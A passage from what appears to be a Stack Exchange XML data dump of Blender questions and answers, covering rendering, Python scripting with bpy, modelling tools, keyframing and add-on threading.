engine.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2013-07-04T04:07:25.750" LastActivityDate="2013-07-04T04:07:25.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1613" PostTypeId="2" ParentId="1599" CreationDate="2013-07-03T16:22:38.350" Score="1" Body="&lt;p&gt;If you are getting this problem in only one project, I suggest creating a new file, and &lt;a href=&quot;https://blender.stackexchange.com/a/83/72&quot;&gt;appending&lt;/a&gt; all of the objects, materials, actions, etc in the existing project, then, if you get the result you want, save over the project.&lt;/p&gt;&#xA;" OwnerUserId="72" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2013-07-03T16:22:38.350" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1614" PostTypeId="2" ParentId="1602" CreationDate="2013-07-03T19:28:20.420" Score="2" Body="&lt;p&gt;Cycles only shoots rays from the camera:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Light_Paths&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qGrL8.png&quot; alt=&quot;diagram of the ray path&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;&lt;sub&gt;(source: &lt;a href=&quot;https://wiki.blender.org/uploads/9/93/Manual_cycles_light_path_rays.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;blender.org&lt;/a&gt;)&lt;/sub&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For &lt;a href=&quot;https://en.wikipedia.org/wiki/Dispersion_(optics)&quot; rel=&quot;nofollow noreferrer&quot;&gt;dispersion&lt;/a&gt;, support for &lt;a href=&quot;https://en.wikipedia.org/wiki/Path_tracing#Bidirectional_path_tracing&quot; rel=&quot;nofollow noreferrer&quot;&gt;bidirectional path tracing&lt;/a&gt; needs to be added. This is currently considered a &lt;a href=&quot;https://wiki.blender.org/index.php/Dev:2.6/Source/Render/Cycles/Roadmap#Not_Priorities&quot; rel=&quot;nofollow noreferrer&quot;&gt;low priority&lt;/a&gt;. There has been a &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?238834-Bidirectional-Path-Tracing-and-other-speed-improvements-on-Cycles&quot; rel=&quot;nofollow noreferrer&quot;&gt;community effort to get an additional developer to implement it&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="32220" LastEditDate="2019-02-17T14:12:29.673" LastActivityDate="2019-02-17T14:12:29.673" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="1615" PostTypeId="1" AcceptedAnswerId="1616" CreationDate="2013-07-03T20:37:50.950" Score="3" ViewCount="92218" Body="&lt;p&gt;I am attempting the check whether a function &lt;strong&gt;returns True&lt;/strong&gt; or &lt;strong&gt;False&lt;/strong&gt; in order to procede to the next step of a separate function. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, here is a stripped down version of what I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def target(modifier):&#xA;    if modifier == 'MIRROR':&#xA;        return True&#xA;    elif modifier == 'ARRAY':&#xA;        return False&#xA;&#xA;def execute(self, context):&#xA;    if target is True:&#xA;        print(&quot;True&quot;)&#xA;    else:&#xA;        print(&quot;False&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This does not work, though. How can I check what the return boolean of &lt;strong&gt;target()&lt;/strong&gt; is?&lt;/p&gt;&#xA;" OwnerUserId="44" LastEditorUserId="55" LastEditDate="2016-03-26T09:11:52.353" LastActivityDate="2016-03-26T09:11:52.353" Title="How can I check the returned boolean of a function?" Tags="&lt;python&gt;" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1616" PostTypeId="2" ParentId="1615" CreationDate="2013-07-03T21:16:53.770" Score="4" Body="&lt;p&gt;The way you are doing it in the second block is not what you think you are doing.  The line &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if target is True:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;will ask if a function reference is the same as a literal True...which it is not.  You want to invoke the function, so use the parenthesis and pass in the string you want.&lt;br&gt;&#xA;If the parameter &quot;context&quot; is the one you are interested in comparing (if you are using BPY, it isn't, heads up), it will instead be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if target(context):&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice I drop the is True&quot;, &lt;em&gt;if&lt;/em&gt; is doing that for you already, you don't need to do it again.  &lt;/p&gt;&#xA;" OwnerUserId="79" LastEditorUserId="55" LastEditDate="2016-03-26T09:11:34.447" LastActivityDate="2016-03-26T09:11:34.447" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1617" PostTypeId="1" AcceptedAnswerId="126231" CreationDate="2013-07-03T23:32:25.317" Score="5" ViewCount="2391" Body="&lt;p&gt;When using Fly mode (&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;F&lt;/kbd&gt; in the 3D view),&#xA;moving the mouse up rotates up, and moving down rotates down. Is it possible to invert this so moving the mouse to the bottom of the screen rotates up?&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="290" LastEditDate="2013-07-04T19:50:29.740" LastActivityDate="2020-08-17T16:41:01.003" Title="Invert Fly Mode Mouse Control?" Tags="&lt;3d-view&gt;&lt;customization&gt;" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1619" PostTypeId="2" ParentId="1615" CreationDate="2013-07-04T01:10:49.367" Score="1" Body="&lt;p&gt;How about something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;# Input String the name of modifier&#xA;def exists(modifiername):&#xA;    if bpy.context.active_object.modifiers.get(modifiername):&#xA;        print(&quot;yes, true&quot;)&#xA;        return True&#xA;    else:&#xA;        print(&quot;not true&quot;)&#xA;        return False&#xA;&#xA;exists(&quot;Mirror&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="802" LastActivityDate="2013-07-04T01:10:49.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1620" PostTypeId="2" ParentId="1617" CreationDate="2013-07-04T01:20:44.517" Score="2" Body="&lt;p&gt;No, this is &lt;em&gt;not&lt;/em&gt; possible out of the box with Blender. In &lt;em&gt;Fly mode&lt;/em&gt;, the camera follows the direction of the mouse cursor and rotates accordingly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you can use &lt;kbd&gt;R&lt;/kbd&gt; to translate up and &lt;kbd&gt;F&lt;/kbd&gt; to translate down if the mouse gestures feel odd.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-07-06T03:38:19.890" LastActivityDate="2013-07-06T03:38:19.890" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1621" PostTypeId="1" AcceptedAnswerId="1622" CreationDate="2013-07-04T02:07:25.193" Score="16" ViewCount="26061" Body="&lt;p&gt;I've got about 200 objects for which I want to insert location/rotation keyframes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to add a keyframe for all of the selected objects?&lt;/p&gt;&#xA;" OwnerUserId="822" LastEditorUserId="12" LastEditDate="2013-07-04T05:57:10.860" LastActivityDate="2020-09-03T09:07:49.797" Title="How to add keyframes for multiple objects at once" Tags="&lt;animation&gt;&lt;workflow&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1622" PostTypeId="2" ParentId="1621" CreationDate="2013-07-04T02:40:26.983" Score="12" Body="&lt;p&gt;Assuming you're talking about actual objects (not a mix of objects and armature bones), the easiest thing would be to select all of the objects and, from within the 3D View, press &lt;kbd&gt;&lt;code&gt;I&lt;/code&gt;&lt;/kbd&gt; and choose LocRot. That will insert a key for location and rotation on all selected objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your needs are more nuanced, you may want to consider building a custom keying set. In that, you can specify any number of different properties from any number of objects (and non-objects... like World properties) and key them all at the same time. If you're interested in taking that route, then &lt;a href=&quot;http://code.blender.org/index.php/2010/12/getting-to-grips-with-keying-sets/&quot; rel=&quot;noreferrer&quot;&gt;Getting to Grips with Keying Sets&lt;/a&gt; is a good start.&lt;/p&gt;&#xA;" OwnerUserId="836" LastEditorUserId="2173" LastEditDate="2014-04-19T03:55:57.047" LastActivityDate="2014-04-19T03:55:57.047" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1624" PostTypeId="2" ParentId="1615" CreationDate="2013-07-04T03:06:43.950" Score="4" Body="&lt;p&gt;With True/False/None you can check identity.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if target(obj) is True:&#xA;    # do_something&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Though in most cases there is no need to be so explicit and you can do...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if target(obj):&#xA;    # do_something&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In some cases you may want to test against &lt;code&gt;True&lt;/code&gt; though.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-07-04T03:06:43.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1625" PostTypeId="1" AcceptedAnswerId="1847" CreationDate="2013-07-04T09:50:24.593" Score="7" ViewCount="2003" Body="&lt;p&gt;I'm having difficulties to understand what happens with textured models using alpha textures in Blender's viewport.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As exemple,I have a fence made of a grid (which is an alpha texture), or some trees with leaves, using as well obviously alpha textures. And all the time, I have edging around my models...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless I select my model ! Indeed if my model is selected, I don't see anymore these edgings around my leaves, grids and etc..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why ? And how to solve it !?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cecK7.png&quot; alt=&quot;example&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="892" LastEditorUserId="32220" LastEditDate="2018-12-30T20:38:29.980" LastActivityDate="2018-12-30T20:38:29.980" Title="Edging alpha texture viewport Blender" Tags="&lt;3d-view&gt;&lt;texturing&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="3" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="1626" PostTypeId="1" AcceptedAnswerId="1628" CreationDate="2013-07-04T11:57:49.880" Score="12" ViewCount="10032" Body="&lt;p&gt;I'm splitting an object with a plane using a boolean modifier as described in &lt;a href=&quot;https://blender.stackexchange.com/a/1402/822&quot;&gt;Split a mesh with a plane&lt;/a&gt;. Roughly:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Duplicate the object.&lt;/li&gt;&#xA;&lt;li&gt;Add a plane.&lt;/li&gt;&#xA;&lt;li&gt;Apply an intersection &lt;em&gt;Boolean&lt;/em&gt; modifier to the original object.&lt;/li&gt;&#xA;&lt;li&gt;Apply a difference &lt;em&gt;Boolean&lt;/em&gt; modifier to the duplicated object.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I did this twice to pull a thin slice out of my object, and the resulting mesh is much more complicated than it could be. I'm slicing with unmodified planes so the big main faces are actually flat, big end up broken up into many crazy smaller faces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BxXtX.png&quot; alt=&quot;crazy mesh&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm imagining the cleanest slice would be a topological cylinder. Is there some way to get a cleaner slice than this (python manipulation is fine) - either a method to make a nice slice directly, or a way to clean up the slice I've already got?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I imagine as an ideal mesh:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8UX0g.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="822" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2016-07-31T14:11:38.987" Title="Fixing a messy boolean operation" Tags="&lt;mesh&gt;&lt;modifiers&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1628" PostTypeId="2" ParentId="1626" CreationDate="2013-07-04T12:24:24.103" Score="8" Body="&lt;p&gt;I don't believe you can get a better result from a boolean modifier, they are nearly always messy, however, there are several ways to clean up a messy mesh. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Method 1:&lt;/strong&gt;&lt;p&gt;&#xA;Rather than fixing it by hand it might be easier to just add a '&lt;strong&gt;Remesh&lt;/strong&gt;' modifier which will try to convert the mesh to a quad based mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting the remesh modifier to '&lt;strong&gt;smooth&lt;/strong&gt;' mode and upping the &lt;strong&gt;Octree Depth&lt;/strong&gt; (think of it as resolution of mesh) will result in a cleaner mesh. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, to get the the mesh as smooth as you want it may mean the resolution of the remesh would have to be quite high, but even at a lower resolution it can be a good starting point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could use a lower level remesh modifier and then a &lt;strong&gt;subsurf&lt;/strong&gt; modifier after that to smooth it out again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Method 2:&lt;/strong&gt;&lt;p&gt;&#xA;Another method is to select all the faces that make up the bottom of the mesh press &lt;kbd&gt;F&lt;/kbd&gt; to make an ngon and then choose &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;F&lt;/kbd&gt; &gt; &lt;strong&gt;Poke Faces&lt;/strong&gt; to subdivide them again. You would then also have to repeat this for the top of the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should result in the 'topological cylinder' you mention in your question.&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2013-07-04T12:38:31.137" LastActivityDate="2013-07-04T12:38:31.137" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1629" PostTypeId="2" ParentId="1626" CreationDate="2013-07-04T12:42:46.787" Score="4" Body="&lt;p&gt;Then subdivide the plane (or flattened cube) first, and you will end up with (possibly) more appropriate geometry.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/kGHuc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the surface is flat and you don't intend to deform it, it should not matter how it is constructed, even if it isn't aesthetically pleasing topology flow. The example on the left is already optimal considering the number of faces it creates.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2013-07-04T18:03:10.270" LastActivityDate="2013-07-04T18:03:10.270" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1630" PostTypeId="1" CreationDate="2013-07-04T13:57:20.840" Score="10" ViewCount="812" Body="&lt;p&gt;Can I confirm knife actions with the mouse, or some other key than &lt;kbd&gt;Enter&lt;/kbd&gt;? Going all the way to &lt;kbd&gt;Enter&lt;/kbd&gt; breaks the flow in a way that's inconsistent with blender's philosophy.&lt;/p&gt;&#xA;" OwnerUserId="893" LastEditorUserId="2217" LastEditDate="2015-06-01T23:40:34.600" LastActivityDate="2015-06-01T23:40:34.600" Title="Can I confirm knife action with mouse, or other key than Enter?" Tags="&lt;customization&gt;&lt;shortcut&gt;&lt;knife-tool&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1631" PostTypeId="2" ParentId="1630" CreationDate="2013-07-04T14:13:12.587" Score="4" Body="&lt;p&gt;Go into your &lt;em&gt;User Preferences&lt;/em&gt; menu, go to the input screen and you will see a drop down menu arrow called knife model tool map, open it up. Go to the arrow which says 'Any number pad enter', this will be on the right side and then click your middle mouse button. The confirm of ending your knife cut will now be assigned to your middle mouse button.&lt;/p&gt;&#xA;" OwnerUserId="620" LastEditorUserId="25" LastEditDate="2013-07-04T17:00:31.727" LastActivityDate="2013-07-04T17:00:31.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1632" PostTypeId="2" ParentId="1630" CreationDate="2013-07-04T14:28:13.850" Score="6" Body="&lt;p&gt;This is mapped by default to &lt;kbd&gt;Enter&lt;/kbd&gt;, &lt;kbd&gt;Numpad&lt;/kbd&gt;&lt;kbd&gt;Enter&lt;/kbd&gt; and &lt;kbd&gt;Space&lt;/kbd&gt; but you can change it if you want to.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;To change it, you go to &lt;em&gt;User Preferences&lt;/em&gt; &gt; &lt;em&gt;Input&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;In the search field, type &lt;em&gt;Knife&lt;/em&gt; and it will bring up the relevant panels&lt;/li&gt;&#xA;&lt;li&gt;Toggle &lt;em&gt;Knife Topology Tool&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Toggle, &lt;em&gt;Knife Tool Modal Map&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Change any of the &lt;em&gt;Confirm&lt;/em&gt; options to whatever input you want by clicking in the input field to the right and then pressing the key you want to use &lt;strong&gt;&lt;em&gt;OR&lt;/em&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;* You can add another one with &lt;em&gt;Add new&lt;/em&gt; at the bottom.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CPMxL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-07-04T14:36:08.760" LastActivityDate="2013-07-04T14:36:08.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1633" PostTypeId="1" CreationDate="2013-07-04T15:53:22.800" Score="7" ViewCount="8394" Body="&lt;p&gt;Is there a method to scale a texture in relation to the measurements of the model?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, consider an architectural model with a concrete paving. Its image texture is a &quot;real world&quot; photo measuring 3&amp;times;3 times which makes it 180cm &amp;times; 180cm. Is it possible to make Blender scale the texture in model-units? Or the other way around: is it possible to automatically scale the UV coordinates so they fit the &quot;real world size&quot;?&lt;/p&gt;&#xA;" OwnerUserId="460" LastEditorUserId="372" LastEditDate="2013-08-12T17:09:46.583" LastActivityDate="2016-09-23T13:17:43.410" Title="Texture scaling to real world measurements?" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;measurement&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1634" PostTypeId="1" CreationDate="2013-07-04T16:24:21.730" Score="9" ViewCount="3134" Body="&lt;p&gt;Is there a way to make the ocean modifier fake foam spray? I already displace the water with dynamic paint, but I still am stumped as to how to create the foam. I'm assuming it's a particle system of some sort, but I'm not where to place the emitter or what general settings to change (I just need some general tips).&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="20" LastEditDate="2013-07-04T16:29:27.257" LastActivityDate="2013-07-12T21:26:45.287" Title="Ocean modifier foam spray?" Tags="&lt;rigid-body-simulation&gt;&lt;ocean-simulation&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1637" PostTypeId="5" CreationDate="2013-07-04T19:29:17.610" Score="0" Body="&lt;p&gt;The Ocean modifier is a tool to simulate and generate a deforming ocean surface, and associated texture, used to render the simulation data. It is intended to simulate deep ocean waves and foam.&lt;/p&gt;&#xA;&lt;p&gt;It is a port from the open source &lt;a href=&quot;https://code.google.com/archive/p/houdini-ocean-toolkit/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Houdini Ocean Toolkit.&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;More information at the &lt;a href=&quot;https://docs.blender.org/manual/en/latest/modeling/modifiers/physics/ocean.html#ocean-modifier&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Manual&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15924" LastEditorUserId="15924" LastEditDate="2020-11-05T00:17:21.810" LastActivityDate="2020-11-05T00:17:21.810" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="1638" PostTypeId="4" CreationDate="2013-07-04T19:29:17.610" Score="0" Body="Questions about Blenders built in Ocean Simulation modifier. The Ocean Modifier is used to generate a series of images which are used to deform a mesh to emulate moving water." OwnerUserId="599" LastEditorUserId="12" LastEditDate="2013-07-04T23:35:11.747" LastActivityDate="2013-07-04T23:35:11.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1639" PostTypeId="2" ParentId="1634" CreationDate="2013-07-04T21:14:11.920" Score="10" Body="&lt;p&gt;We need dynamic particle emission to do real foam spray. The foam mask in the Ocean Sim modifier was created to be ready once Blender caught up with that feature. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once Lukas's Particle Nodes project is finished, it should allow for us to do that. &lt;a href=&quot;http://phonybone.planetblender.org&quot;&gt;http://phonybone.planetblender.org&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The foam mask would be the source of the dynamic particle generation. The nice thing about the ocean mesh generated is that there are speed vectors associated with the waves, which I believe should also be able to be sampled and applied to the dynamic particles' starting velocities. Fingers crossed!&lt;/p&gt;&#xA;" OwnerUserId="894" LastActivityDate="2013-07-04T21:14:11.920" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1640" PostTypeId="1" AcceptedAnswerId="1642" CreationDate="2013-07-04T23:42:04.037" Score="7" ViewCount="1538" Body="&lt;p&gt;I´m working on an export script for Blender and I´m currently stuck at exporting bone weights. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what i have so far(excuse me if my Python is not that clean, the syntax is pretty new to me):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;v0.Inf = [0.0,0.0,0.0,0.0]&#xA;for i,g in enumerate(face.vertices[0].groups):&#xA;  if not g.weight = 0.0:&#xA;    v0.Inf[i] = g.group + g.weight&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As far as I understand this it should fill the 4 elements of my array with the sum of the group index and the weight of that particular vertex. (Note: It´s guaranteed that there are max. 4 groups)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But i´m running into some problems here: I have a test-file which has 3 vertex groups but 2 bones. How do i figure out which vertex group is assigned to which bone? There has to be some kind of connection. I can´t use the group name because the group can have a diffrent name than the bone, even if that´s a rare case. &lt;/p&gt;&#xA;" OwnerUserId="895" LastActivityDate="2013-07-05T02:18:50.170" Title="How are the Bones assigned to the Vertex_Groups in the API?" Tags="&lt;python&gt;&lt;bones&gt;&lt;vertex-groups&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1641" PostTypeId="2" ParentId="1626" CreationDate="2013-07-04T23:49:37.040" Score="3" Body="&lt;p&gt;In the case where the geometry is valid but there are too many redundant cuts in the mesh, &lt;code&gt;Limited Dissolve&lt;/code&gt; works well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select all, go to: Mesh -&gt; Delete -&gt;Limited Dissolve.&#xA;Try set the angle very low (1.0 or so).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Main thing to watch out for here is you'll get n-gons which might not be what you want.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-07-05T21:06:51.107" LastActivityDate="2013-07-05T21:06:51.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1642" PostTypeId="2" ParentId="1640" CreationDate="2013-07-05T02:18:50.170" Score="10" Body="&lt;p&gt;Bones are matched to vertex groups based on names, that is the connection, they are not linked in another way.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for modifier in object.modifiers:&#xA;    if modifier.type == 'ARMATURE' and modifier.object:&#xA;        armature = modifier.object.data&#xA;&#xA;        for bone in armature.bones:&#xA;            if bone.use_deform and bone.name in object.vertex_groups:&#xA;                print(&quot;'%s' used for armature deformation&quot; % bone.name)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="242" LastActivityDate="2013-07-05T02:18:50.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1643" PostTypeId="1" AcceptedAnswerId="1644" CreationDate="2013-07-05T12:39:10.167" Score="6" ViewCount="562" Body="&lt;p&gt;Following a osl in &lt;a href=&quot;http://cgcookie.com/blender/cgc-courses/introduction-to-osl-in-blender-cycles/&quot; rel=&quot;nofollow noreferrer&quot;&gt;cycles tutorial&lt;/a&gt; And the option of what shading system to use is missing and also I cannot activate the scripting node when I am in node editing mode. I am using blender 2.67b, And I have tried to use the search option (as shown in attached image). If any body knows what is/or what i am doing wrong could they please inform me. Cheers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/W9zlL.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="620" LastEditorUserId="12" LastEditDate="2013-07-05T13:01:33.643" LastActivityDate="2013-07-05T13:35:07.693" Title="Script node missing in node editor" Tags="&lt;nodes&gt;&lt;node-editor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1644" PostTypeId="2" ParentId="1643" CreationDate="2013-07-05T12:58:45.210" Score="6" Body="&lt;p&gt;First, make sure that your &lt;em&gt;Render Engine&lt;/em&gt; is to &lt;em&gt;Cycles&lt;/em&gt; and that you are in the &lt;strong&gt;&lt;em&gt;Shader&lt;/em&gt;&lt;/strong&gt; node editor, not the compositor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RPQoo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;Script&lt;/em&gt; node is there..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zOgsl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The changes in the &lt;em&gt;Render&lt;/em&gt; panel were more than likely made in the space of time from 2.65 to 2.67.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-07-05T13:35:07.693" LastActivityDate="2013-07-05T13:35:07.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1645" PostTypeId="1" AcceptedAnswerId="1656" CreationDate="2013-07-05T15:19:30.060" Score="9" ViewCount="2195" Body="&lt;p&gt;I'm currently writing &lt;a href=&quot;https://github.com/adhihargo/layout_tools&quot; rel=&quot;nofollow noreferrer&quot;&gt;an addon&lt;/a&gt;, the purpose of which requires it to render several parts of active scene sequentially, preferably with UI-responsiveness intact. The problem is the UI freezes if I just directly call &lt;code&gt;bpy.ops.render.render(animation=True)&lt;/code&gt;. I get UI-responsiveness by changing the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67_1/bpy.ops.html#execution-context&quot; rel=&quot;nofollow noreferrer&quot;&gt;execution context&lt;/a&gt; to &lt;code&gt;&quot;INVOKE_DEFAULT&quot;&lt;/code&gt;, but then the code won't wait until a render process finished before executing the next one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Using &lt;code&gt;threading&lt;/code&gt; Module&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking for an alternative, I then use Python's &lt;a href=&quot;http://docs.python.org/3/library/threading.html#thread-objects&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;threading.Thread&lt;/code&gt;&lt;/a&gt; object to encapsulate render function, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def _init_render_thread(self):&#xA;    self._render_thread = threading.Thread(&#xA;        target=bpy.ops.render.render, kwargs={'animation':True})&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... and &lt;a href=&quot;https://github.com/adhihargo/layout_tools/blob/4ea72c1871643404f6ff3bb64f3c0aa2a46e94ee/layout_tools.py#L184&quot; rel=&quot;nofollow noreferrer&quot;&gt;check&lt;/a&gt; the thread object's &lt;a href=&quot;http://docs.python.org/3/library/threading.html#threading.Thread.is_alive&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;is_alive&lt;/code&gt;&lt;/a&gt; method at interval set by a &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67_1/bpy.types.Timer.html#module-bpy.types&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;Timer&lt;/code&gt;&lt;/a&gt; object. Unfortunately it's prone to occasional random crashing, as any thread-related bugs are, so I'm still stuck with this method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Chaining Handlers&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on &lt;a 